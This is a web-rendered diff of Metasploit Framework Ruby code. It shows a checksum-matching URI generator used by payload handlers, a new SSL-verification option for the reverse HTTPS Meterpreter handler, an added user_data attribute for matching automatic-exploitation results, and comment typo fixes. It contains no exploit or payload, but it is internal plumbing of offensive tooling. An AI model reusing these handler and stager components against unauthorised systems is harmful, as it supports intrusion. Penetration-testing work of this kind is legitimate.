|
|
||||||
# @return [String] The URI string that checksums to the given value
|
|
||||||
def generate_uri_checksum(sum,len=nil)
|
|
||||||
return generate_uri_checksum_with_length(sum, len) if len
|
|
||||||
|
|
||||||
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
|
|
||||||
32.times do
|
|
||||||
uri = Rex::Text.rand_text_alphanumeric(3)
|
|
||||||
chk.sort_by {rand}.each do |x|
|
|
||||||
return(uri + x) if Rex::Text.checksum8(uri + x) == sum
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Otherwise return one of the pre-calculated strings
|
|
||||||
return URI_CHECKSUM_PRECALC[sum]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create an arbitrary length URI that matches a given checksum
|
|
||||||
#
|
|
||||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
|
||||||
# @param len [Fixnum] The length of the created URI
|
|
||||||
# @return [String] The URI string that checksums to the given value
|
|
||||||
def generate_uri_checksum_with_length(sum, len)
|
|
||||||
# Lengths shorter than 4 bytes are unable to match all possible checksums
|
|
||||||
# Lengths of exactly 4 are relatively slow to find for high checksum values
|
|
||||||
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
|
|
||||||
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
|
|
||||||
|
|
||||||
# Funny enough, this was more efficient than calculating checksum offsets
|
|
||||||
if len < 40
|
|
||||||
loop do
|
|
||||||
uri = Rex::Text.rand_text_alphanumeric(len)
|
|
||||||
return uri if Rex::Text.checksum8(uri) == sum
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
|
|
||||||
# Calculating a static prefix flattens out the average runtime for longer URIs
|
|
||||||
prefix = Rex::Text.rand_text_alphanumeric(len-20)
|
|
||||||
|
|
||||||
loop do
|
|
||||||
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
|
|
||||||
return uri if Rex::Text.checksum8(uri) == sum
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -43,7 +43,8 @@ module ReverseHttps
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
|
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
|
||||||
|
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
|
||||||
], Msf::Handler::ReverseHttps)
|
], Msf::Handler::ReverseHttps)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -3,11 +3,13 @@ require 'msf/core'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
autoload :OptionContainer, 'msf/core/option_container'
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# The module base class is responsible for providing the common interface
|
# The module base class is responsible for providing the common interface
|
||||||
# that is used to interact with modules at the most basic levels, such as
|
# that is used to interact with modules at the most basic levels, such as
|
||||||
# by inspecting a given module's attributes (name, dsecription, version,
|
# by inspecting a given module's attributes (name, description, version,
|
||||||
# authors, etc) and by managing the module's data store.
|
# authors, etc) and by managing the module's data store.
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
@ -57,6 +59,10 @@ class Module
|
||||||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||||
|
|
||||||
|
# The set of keys in {#user_data} that make {#user_data_is_match?} return
|
||||||
|
# true
|
||||||
|
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
|
||||||
|
|
||||||
# Make include public so we can runtime extend
|
# Make include public so we can runtime extend
|
||||||
public_class_method :include
|
public_class_method :include
|
||||||
|
|
||||||
|
@ -272,12 +278,31 @@ class Module
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Support fail_with for all module types, allow specific classes to override
|
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
|
||||||
|
# and allows specific classes to override.
|
||||||
|
#
|
||||||
|
# @param reason [String] A reason about the failure.
|
||||||
|
# @param msg [String] (Optional) A message about the failure.
|
||||||
|
# @raise [RuntimeError]
|
||||||
|
# @return [void]
|
||||||
|
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
|
||||||
|
# API documentation from lib/msf/core/exploit.rb.
|
||||||
|
# @see Msf::Exploit#fail_with
|
||||||
|
# @example
|
||||||
|
# fail_with('No Access', 'Unable to login')
|
||||||
#
|
#
|
||||||
def fail_with(reason, msg=nil)
|
def fail_with(reason, msg=nil)
|
||||||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Whether {#user_data} contains everything necessary to make a
|
||||||
|
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
|
||||||
|
#
|
||||||
|
# @return [bool]
|
||||||
|
def user_data_is_match?
|
||||||
|
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Just some handy quick checks
|
# Just some handy quick checks
|
||||||
|
@ -295,6 +320,7 @@ class Module
|
||||||
# The array of zero or more platforms.
|
# The array of zero or more platforms.
|
||||||
#
|
#
|
||||||
attr_reader :platform
|
attr_reader :platform
|
||||||
|
|
||||||
#
|
#
|
||||||
# The reference count for the module.
|
# The reference count for the module.
|
||||||
#
|
#
|
||||||
|
@ -315,6 +341,15 @@ class Module
|
||||||
#
|
#
|
||||||
attr_accessor :error
|
attr_accessor :error
|
||||||
|
|
||||||
|
# An opaque bag of data to attach to a module. This is useful for attaching
|
||||||
|
# some piece of identifying info on to a module before calling
|
||||||
|
# {Msf::Simple::Exploit#exploit_simple} or
|
||||||
|
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
|
||||||
|
# from.
|
||||||
|
#
|
||||||
|
# @see #user_data_is_match?
|
||||||
|
attr_accessor :user_data
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -12,7 +12,7 @@ module Msf::Module::FullName
|
||||||
|
|
||||||
|
|
||||||
# @attribute refname
|
# @attribute refname
|
||||||
# The module's name that is assigned it it by the framework
|
# The module's name that is assigned to it by the framework
|
||||||
# or derived from the path that the module is loaded from.
|
# or derived from the path that the module is loaded from.
|
||||||
attr_accessor :refname
|
attr_accessor :refname
|
||||||
|
|
||||||
|
@ -64,4 +64,4 @@ module Msf::Module::FullName
|
||||||
def shortname
|
def shortname
|
||||||
self.class.shortname
|
self.class.shortname
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,7 +10,7 @@ require 'abbrev'
|
||||||
class Msf::Module::Platform
|
class Msf::Module::Platform
|
||||||
|
|
||||||
Rank = 0
|
Rank = 0
|
||||||
# actually, having a argument of '' is what to do for wanting 'all'
|
# actually, having an argument of '' is what to do for wanting 'all'
|
||||||
Short = "all"
|
Short = "all"
|
||||||
|
|
||||||
class << self
|
class << self
|
||||||
|
@ -18,7 +18,7 @@ class Msf::Module::Platform
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the "real" name of the module instance, accouting for potentially
|
# Returns the "real" name of the module instance, accounting for potentially
|
||||||
# aliased class names.
|
# aliased class names.
|
||||||
#
|
#
|
||||||
def self.realname
|
def self.realname
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
#
|
#
|
||||||
# This is a helper to a easy way to specify support platforms. It will take a
|
# This is a helper to an easy way to specify support platforms. It will take a
|
||||||
# list of strings or Msf::Module::Platform objects and build them into a list
|
# list of strings or Msf::Module::Platform objects and build them into a list
|
||||||
# of Msf::Module::Platform objects. It also supports ranges based on relative
|
# of Msf::Module::Platform objects. It also supports ranges based on relative
|
||||||
# ranks...
|
# ranks...
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue